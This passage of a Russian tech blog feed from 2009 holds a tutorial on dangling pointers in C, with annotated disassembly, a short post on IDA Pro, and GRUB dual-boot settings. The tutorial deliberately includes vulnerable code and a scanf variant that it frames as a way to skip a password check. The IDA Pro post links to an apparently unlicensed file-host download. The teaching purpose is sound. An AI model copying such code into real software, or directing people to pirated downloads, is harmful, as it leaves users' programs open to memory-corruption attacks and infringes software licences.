«свободных»(&lt;span style="font-style:italic;"&gt;&lt;span style="color:#000000;"&gt;C/C++/Assembler&lt;/span&gt;&lt;/span&gt;)языков ложится все бремя ответственности за правильный ход выполнения программы (в других языках программирования за многим следит компилятор и не позволяет программисту допускать ту или иную ошибку). Сегодня мы разберем уязвимости, к которым может привести неправильное использование указателей и ссылок. Указатель представляет из себя, адрес определенной переменной в памяти, на  которую он указывает. Такой подход во многом упрощает программирования, экономит «такты процессора», позволяет более быстро обращаться к большим участкам памяти, без их копирования. Приведем пример на языке C с использованием указателей, да и перейдем сразу к делу:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="color:#333333;"&gt;&lt;span style="font-family:georgia;"&gt;Листинг программы на C&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color:#000099;"&gt;#include cstdlib&lt;br /&gt;#include iostream&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;*p;&lt;/span&gt;    &lt;cstdlib&gt;&lt;iostream&gt;&lt;span style="color:#006600;"&gt;                     //объявляем глобальный указатель типа integer&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;test()&lt;br /&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;test;&lt;/span&gt;     &lt;span style="color:#006600;"&gt;                      //объявляем локальную переменную test&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;test=&lt;/span&gt;&lt;span style="color:#000099;"&gt;25&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;                     &lt;span style="color:#006600;"&gt; //присваиваем ей значение 25&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;p=&amp;test;&lt;/span&gt;                       &lt;span style="color:#006600;"&gt;//присваиваем указателю p, адрес переменной test&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt;&lt;span style="color:#000000;"&gt; test2()&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;{&lt;/span&gt; &lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;x=&lt;/span&gt;&lt;span style="color:#000099;"&gt;10&lt;/span&gt;&lt;span style="color:#000000;"&gt;; }  &lt;/span&gt;&lt;span style="color:#006600;"&gt;             //объявляем и присваиваем значение локальной переменной X=10.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;main()&lt;/span&gt;&lt;br /&gt;&lt;/cstdlib&gt;&lt;span style="color:#000000;"&gt;&lt;cstdlib&gt;&lt;iostream&gt;&lt;cstdlib&gt;&lt;iostream&gt;{&lt;br /&gt;test();    &lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/span&gt;&lt;cstdlib&gt;&lt;iostream&gt;&lt;cstdlib&gt;&lt;iostream&gt;&lt;span style="color:#006600;"&gt;                        //вызываем функцию test&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;test2();&lt;/span&gt;   &lt;span style="color:#006600;"&gt;                      //вызываем функцию test2&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;printf(&lt;/span&gt; &lt;span style="color:#990000;"&gt;"*P=%d"&lt;/span&gt;&lt;span style="color:#000000;"&gt;,*p);&lt;/span&gt;  &lt;span style="color:#006600;"&gt;  //выводим на экран значение, которое находится по адресу в указателе p&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;return(0)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color:#000000;"&gt;}&lt;/span&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;span style="font-style:italic;"&gt;&lt;/blockquote&gt;&lt;span style="color:#333333;"&gt;Листинг программы на C&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Итак, по коду не сложно догадаться, что программа выведет в консоль число 25. Давайте скомпилируем данный пример, дабы убедиться в этом на практике. Представляю, как удивляться некоторые из вас, увидев, что p=10.  Могу вас уверить, код выполнился, как ему и было положено, просто он содержит грубую ошибку, сейчас мы рассмотрим ее поподробнее.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/Sw-Iu5Ddt-I/AAAAAAAAAME/Vkz13rzLFiE/s1600/0.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 78px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/Sw-Iu5Ddt-I/AAAAAAAAAME/Vkz13rzLFiE/s400/0.bmp" border="0" alt="" id="BLOGGER_PHOTO_ID_5408692016665966562" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Для этого нам нужно забраться в самое сердце программы, взглянуть на нее в дизассемблированном виде. Код,  который будет приведен ниже, немного исправлен мной, для лучшего понимания.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Листинг дизассемблированной программы&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;Функция test:&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;PUSH EBP     &lt;/span&gt;&lt;span style="color:#006600;"&gt;                                               ; открываем кадр стека&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;MOV EBP,ESP&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;SUB ESP,4    &lt;/span&gt;                                            &lt;span style="color:#006600;"&gt;; Резервируем место для локальных переменных&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;MOV DWORD PTR SS:[EBP-4],19  &lt;/span&gt;&lt;span style="color:#006600;"&gt;             ; скопируем 19h=25d по адресу EBP-4 (test=25)&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;LEA EAX,DWORD PTR SS:[EBP-4]  &lt;/span&gt;&lt;span style="color:#006600;"&gt;           ; сохраняем  в EAX адрес EBP-4(по сути адрес пер. test)&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;MOV DWORD PTR DS:[443010],EAX  &lt;/span&gt;&lt;span style="color:#006600;"&gt;         ; сохраняем содержимое EAX в памяти(p=&amp;test;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;LEAVE      &lt;/span&gt;&lt;span style="color:#006600;"&gt;                                                    ; закрываем кадр стека&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;RETN       &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;                                                     ; выходим из функции&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#006600;"&gt;Функция test2:&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;PUSH EBP       &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;                                            ; открываем кадр стека&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;MOV EBP,ESP&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;SUB ESP,4 &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;    &lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;                                             ; Резервируем место для локальных переменных&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#000000;"&gt;MOV DWORD PTR SS:[EBP-4],0A&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;  &lt;span style="color:#006600;"&gt;           ; скопируем 0Ah=10d по адресу EBP-4 (x=10)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#000000;"&gt;LEAVE&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;      &lt;span style="color:#006600;"&gt;                                                   ; закрываем кадр стека&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#000000;"&gt;RETN&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;                                                    ; выходим из функции&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#006600;"&gt;Функция main:&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;PUSH EBP     &lt;/span&gt;&lt;span style="color:#006600;"&gt;                                              ; открываем кадр стека&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;MOV EBP,ESP&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;SUB ESP,18     &lt;/span&gt;&lt;span style="color:#006600;"&gt;                                            ; Резервируем место для локальных переменных&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;CALL Project#.00401390    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;                          ; вызываем функцию test&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;CALL Project#.004013A8      &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;                       ; вызываем функцию test2&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;MOV EAX,DWORD PTR DS:[443010]   &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;       ; в EAX значение указателя p&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;MOV EAX,DWORD PTR DS:[EAX]                  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;         ; в EAX содержимое, по адресу в p&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;MOV DWORD PTR SS:[ESP+4],EAX              &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;       ; передаем printf значение на которое указывает p&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;MOV DWORD PTR SS:[ESP], 00440000    &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;  ; передаем printf строку *P=%d&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;CALL  PRINTF     &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;                                       ; вызываем printf&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:78%;"&gt;LEAVE       &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#006600;"&gt;                                                  ; закрываем кадр стека&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;RETN&lt;/span&gt;      &lt;span style="color:#006600;"&gt;                                                     ; выходим из функции&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Листинг дизассемблированной программы&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;В данном примере все кроется в глобальных и локальных переменных. Глобальные переменные, это такие переменные которые «видны» всей программе сразу, к ним можно обратиться из любой функции или процедуры, они инициализируются при запуске программы. Локальные переменные, видны только той процедуре или функции, в которой они объявлены. Локальные переменные инициализируются при запуске той или иной функции, место для них выделяется в стеке:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#000000;"&gt;PUSH EBP&lt;br /&gt;MOV EBP,ESP&lt;br /&gt;SUB ESP,4&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Выделяем 4-байта (одна переменная типа integer). После выполнения функции или процедуры, кадр стека закрывается (leave):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#000000;"&gt;MOV ESP,EBP&lt;br /&gt;POP EBP&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Но суть не в этом, а в том, что закрывая кадр стека, мы уничтожаем все переменные.  То есть фактически,  в памяти они остаются и не обнуляются, но обратиться к ним нельзя. Если раньше до уничтожения мы присвоили адрес переменной указателю (после уничтожения объекта, он станет висячим указателем), то обратиться к ней можно. Но никто не гарантирует, что ее значение останется прежним, ведь программа уже не учитывает, что место занято и может спокойно перезаписать значение на любое другое (как случайное, так и не очень). После выполнения функции test(), как раз это и произошло, P указывает на тот адрес, где раньше была переменная test. После, когда мы вызвали функцию test2(), открылся новый кадр стека, как раз в том же месте где существовал кадр стека для функции test(), и мы присвоили X значение 10, а X находился по тому же адресу, по которому когда-то располагалась переменная test.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/Sw-JT6GQrFI/AAAAAAAAAMM/scvhjiRgtoM/s1600/1.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 231px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/Sw-JT6GQrFI/AAAAAAAAAMM/scvhjiRgtoM/s320/1.bmp" border="0" alt="" id="BLOGGER_PHOTO_ID_5408692652601289810" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Таким образом, мы и получили, в итоге 10. Такого рода ошибка, называется Висячим указателем. Висячий указатель - указатель, ссылающийся на уже удалённый объект. Чем чревата подобная ошибка, спросите вы?&lt;br /&gt;&lt;br /&gt;Первое, если бы я продолжал использовать (проводить арифметические и другие действия) над указателем на test, думая, что test у меня равна 25, то в итоге программа выдавала бы просто непредсказуемые результаты, вплоть до полного отказа ее работы.&lt;br /&gt;Второе, при выполнение некоторых условий, можно сознательно манипулировать значением переменной, а вдруг такая ошибка будет находиться в особо важном фрагменте кода, например в функции авторизации пользователя, а я смогу изменить значение ключевой переменной и авторизироваться без пароля!  Замените функцию test2() на:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;test2()&lt;br /&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt;&lt;span style="color:#000000;"&gt; x;&lt;br /&gt;scanf(&lt;/span&gt;&lt;span style="color:#990000;"&gt;“%d”&lt;/span&gt;&lt;span style="color:#000000;"&gt;,&amp;amp;x);&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;И убедитесь сами. Для того чтобы исправить ошибку нужно объявить переменную test глобально, или же использовать так называемые умные указатели.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Умный указатель&lt;/span&gt;— &lt;span style="font-style:italic;"&gt;класс (обычно шаблонный), имитирующий интерфейс обычного указателя и добавляющий некую новую функциональность, например проверку границ при доступе или очистку памяти.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Говоря попроще умный указатель, уничтожает сам себя, как только уничтожается объект, на который он указывает, что препятствует появлению висячих указателей.  По мимо указателей существуют  еще и понятие ссылки на объект. По своей сути они очень похожи на указатели, ссылка, можно сказать второе имя переменной(псевдоним), по которому к ней можно обращаться, но она не хранит адреса в отличие от указателя и считается более безопасной, но это не спасает ее от существования такого понятия, как висячие ссылки. А не спасает вот почему, ради чистого любопытства я решил проверить одну из своих догадок, и написал два экземпляра кода, с использованием указателей и ссылок:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Листинг программы на C&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color:#006600;"&gt;Пример первый:&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;main()&lt;br /&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;a=&lt;span style="color:#000099;"&gt;7&lt;/span&gt;; &lt;/span&gt;   &lt;span style="color:#006600;"&gt;//объявляем переменную типа integer, присваиваем ей значение 7&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt;* &lt;span style="color:#000000;"&gt;b=&amp;a; &lt;/span&gt;    &lt;span style="color:#006600;"&gt;//объявляем указатель, присваиваем ему адрес переменной a&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#006600;"&gt;Пример второй:&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;main()&lt;br /&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;a=&lt;span style="color:#000099;"&gt;7&lt;/span&gt;;&lt;/span&gt; &lt;span style="color:#006600;"&gt;//объявляем переменную типа integer, присваиваем ей значение 7&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt;&amp;amp; &lt;span style="color:#000000;"&gt;b=a ;&lt;br /&gt;}&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Листинг программы на C&lt;/span&gt;&lt;br /&gt;Скомпилировав, первый и второй варианты, затем дизассемблировав их, посмотрел, какой код выходит в итоге:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Листинг дизассемблированной программы&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="color:#000000;"&gt;MOV DWORD PTR SS:[EBP-4],7&lt;br /&gt;LEA EAX,DWORD PTR SS:[EBP-4]&lt;br /&gt;MOV DWORD PTR SS:[EBP-8],EAX&lt;br /&gt;MOV EAX,0&lt;br /&gt;LEAVE&lt;br /&gt;RETN&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Листинг дизассемблированной программы&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Причем в первом и втором случае ассемблерный код оказался совершенно одинаковым! Это говорит о том, что на низком уровне ссылки и указатели это одно и тоже. Отличия можно наблюдать лишь на высоком уровне, дело в том, что если вы попробуете использовать ссылку, как обычной указатель, то компилятор просто откажется компилировать, хотя на уровне ассемблерных команд  реализация ссылок и указателей одинакова.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Листинг неправильный код&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;main()&lt;br /&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;a=&lt;/span&gt;&lt;span style="color:#000099;"&gt;8&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; &lt;span style="color:#000000;"&gt;b=&lt;/span&gt;&lt;span style="color:#000099;"&gt;7&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt;&lt;span style="color:#000000;"&gt;&amp;amp; c=b ;&lt;br /&gt;*c=&amp;a;&lt;br /&gt;}&lt;/span&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;span style="font-style:italic;"&gt;Листинг неправильный код&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;div align="left"&gt;Я думаю именно потому, и существуют – «висячие ссылки». Нужно быть предельно осторожным при проектирование своих программ и особое внимание уделять указателям и ссылкам, ведь падение или неправильное выполнение программы еще не самое страшное, что может случиться, это еще одна, дополнительная лазейка для взломщика, которая может помочь ему в осуществление коварных планов.&lt;br /&gt;&lt;br /&gt;13.11.2009&lt;br /&gt;&lt;/div&gt;&lt;p align="right"&gt;&lt;a href="http://kerny-auroras.blogspot.com/"&gt;©Kerny&lt;/a&gt;&lt;/p&gt;&lt;p align="right"&gt;&lt;a href="http://sa-sec.org/"&gt;SASecurity gr.&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-5386073189852982755?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/5386073189852982755/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/11/blog-post.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5386073189852982755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5386073189852982755'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/11/blog-post.html' title='Ссылка в никуда или сломанный указатель.'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oxXdxKIGwp0/Sw-Iu5Ddt-I/AAAAAAAAAME/Vkz13rzLFiE/s72-c/0.bmp' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-697105587668898317</id><published>2009-11-13T23:22:00.007+03:00</published><updated>2009-11-13T23:30:47.669+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программы'/><title type='text'>IDA Pro</title><content type='html'>&lt;span style="font-weight:bold;"&gt;IDA Pro &lt;/span&gt;– это дизассемблер, альтернативы которому просто нет. Для профессиональной работы это единственный пригодный дизассемблер. Он давно стал стандартом, и если говорят о дизассемблере, то в первую очередь имеют в виду IDA Pro. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img6.imageshost.ru/imgs/090527/8dddae6950/tb414d.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 250px; height: 181px;" src="http://img6.imageshost.ru/imgs/090527/8dddae6950/tb414d.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;IDA Pro имеет огромной количество функций и модулей, которые значительно упрощают процесс дизассемблирования. Сюда входит распознавание стандартных библиотечных функций, распознавание аргументов функций и их типов, представление всего кода в удобной древовидной форме и многое другое. Основные группы пользователей IDA Pro – это антивирусные компании, крупные разработчики ПО, специалисты по информационной безопасности.  IDA Pro поставляется в двух версиях Standard и Advanced.  Standard поддерживает более 20 семейств процессоров, а Advanced - более 50.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://letitbit.net/download/935a01bf23/ida.rar.html"&gt;Скачать&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-697105587668898317?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/697105587668898317/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/11/ida-pro.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/697105587668898317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/697105587668898317'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/11/ida-pro.html' title='IDA Pro'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-6510363695696221367</id><published>2009-10-30T19:00:00.005+03:00</published><updated>2009-10-30T19:23:23.568+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Grub Linux &amp; Windows</title><content type='html'>Если на одном жестком диске установлен Linux, а на другом Windows и вам нужно загружать по желанию одну из систем, но для этого постоянно приходится отключать один из дисков, есть одно хорошее решение - &lt;strong&gt;grub&lt;/strong&gt; &lt;span style="color:#666666;"&gt;&lt;em&gt;(GNU GRUB (англ. GRand Unified Bootloader) — загрузчик операционной системы от проекта GNU. GRUB позволяет пользователю иметь несколько установленных операционных систем и при включении компьютера выбирать одну из них для загрузки&lt;/em&gt;&lt;em&gt;)&lt;/em&gt;&lt;/span&gt;, но его нужно настроить. Для этого грузимся под Linux, запускаем консоль &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/SusRxDO5WrI/AAAAAAAAAL0/Z76k2vUGoW4/s1600-h/%D0%A1%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/SusRxDO5WrI/AAAAAAAAAL0/Z76k2vUGoW4/s320/%D0%A1%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5398428112712719026" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;входим под root:&lt;p&gt;&lt;em&gt;&lt;span style="color:#666666;"&gt;su root&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#666666;"&gt;cd /boot/grub/&lt;/span&gt;&lt;em&gt;&lt;span style="color:#666666;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;span style="color:#666666;"&gt;mc&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;MC - Midnight Commander (mc, ми́днайт-кома́ндер, «полуночный командир») — один из файловых менеджеров с текстовым интерфейсом типа Norton Commander для UNIX-подобных операционных систем, а также Microsoft Windows и Windows NT, OS/2, Mac OS X (но не Mac OS 9).&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Открываем файл, и дописываем:&lt;/p&gt;&lt;p align="left"&gt;&lt;em&gt;&lt;span style="color:#666666;"&gt;title Windows&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p align="left"&gt;&lt;em&gt;&lt;span style="color:#666666;"&gt;map (hd0) (hd1)&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;span style="color:#666666;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;div align="left"&gt;&lt;em&gt;&lt;span style="color:#666666;"&gt;map (hd1) (hd0)&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;span style="color:#666666;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;span style="color:#666666;"&gt;chainloader (hd1,0)+1&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="left"&gt;Только hd1 - нужно выбрать свой, у вас может быть не hd1, а например hd2.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-6510363695696221367?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 